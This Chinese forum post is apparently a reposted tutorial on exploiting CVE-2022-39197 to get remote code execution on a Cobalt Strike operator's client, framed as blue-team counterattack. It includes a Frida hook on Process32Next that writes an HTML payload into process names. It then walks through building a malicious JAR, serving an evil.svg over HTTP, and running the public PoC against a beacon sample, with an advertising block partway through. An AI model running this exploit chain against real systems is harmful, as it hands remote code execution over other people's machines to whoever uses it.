Cobalt Strike之反向上线操作

打印 上一主题 下一主题

主题 886|帖子 886|积分 2658

前言

Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。
实现原理

攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例

  • Kernel32.dll:
    CreateFileW
    ReadFile
    WriteFile
    FindFirstFileW
    CreateProcessW
    GetProcAddress
    LoadLibraryW
    VirtualAlloc
    VirtualProtect
  • Advapi32.dll:
    RegOpenKeyExW
    RegQueryValueExW
    RegSetValueExW
    GetUserNameA
  • User32.dll:
    MessageBoxW
    SetWindowTextW
    GetWindowTextW
  • Gdi32.dll:
    TextOutW
    CreateFontIndirectW
  • Shell32.dll:
    ShellExecuteW
  • Ws2_32.dll:
    send
    recv
在 Frida 中,你可以使用 Interceptor.attach 方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。
例如Kernel32.dll:中的Process32Next
  1. # Frida 框架来拦截 kernel32.dll 中的 Process32Next 函数,该函数用于遍历进程列表
  2. var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
  3. # 使用Interceptor.attach方法附加到 Process32Next 函数,以下为自己的处理逻辑
  4. Interceptor.attach(pProcess32Next, {
  5.    onEnter: function(args) {
  6.        this.pPROCESSENTRY32 = args[1];
  7.        if(Process.arch == "ia32"){
  8.            this.exeOffset = 36;
  9.        }else{
  10.            this.exeOffset = 44;
  11.        }
  12.        this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
  13.    },
  14.    onLeave: function(retval) {
  15.        if(this.szExeFile.readAnsiString() == "target") {
  16.            send("[!] Found beacon, injecting payload");
  17.            this.szExeFile.writeAnsiString(payload);
  18.        }
  19.    }
  20. })
复制代码
函数内整体逻辑拆开来分析下
处理函数进入 onEnter
  1. onEnter: function(args) {
  2.    this.pPROCESSENTRY32 = args[1];
  3.    if(Process.arch == "ia32"){
  4.        this.exeOffset = 36;
  5.    }else{
  6.        this.exeOffset = 44;
  7.    }
  8.    this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
  9. },
复制代码
在函数进入时,保存 Process32Next 函数的参数,并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段,其中包含进程的可执行文件名
处理函数离开 onLeave
  1. onLeave: function(retval) {
  2.    if(this.szExeFile.readAnsiString() == "target") {
  3.        send("[!] Found beacon, injecting payload");
  4.        this.szExeFile.writeAnsiString(payload);
  5.    }
  6. }
复制代码
在函数离开时,检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload 写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload
简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE
反制复现

环境准备:


注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响)开源POC和EXP:https://github.com/its-arun/CVE-2022-39197
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
1、编辑恶意文件内容
修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS
[img=720,382.5]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311231621634.jpg[/img]
2、编译文件
使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下
[img=720,382.5]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311231621636.jpg[/img]
3、将生成的恶意jar文件和svg文件放在同一路径下
[img=720,395.5944931163955]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311231621637.jpg[/img]
将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下
[img=720,395.5944931163955]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311231621638.jpg[/img]
4、蓝队在serve路径下开启一个web服务
[img=720,395.5944931163955]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311231621639.jpg[/img]
5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址
[img=720,395.5944931163955]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311231621640.jpg[/img]
6、执行POC脚本
python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg
[img=720,395.5944931163955]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311231621642.jpg[/img]
运行后,红队的cs客户端上可以看到此时木马已经成功上线
[img=720,395.5944931163955]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311231621643.jpg[/img]
当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar

成功上线蓝队CS,从而达到反制RCE
思考

除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE,以下就直接展示上线的效果(复现步骤和上面一样)

最后

此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

干翻全岛蛙蛙

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表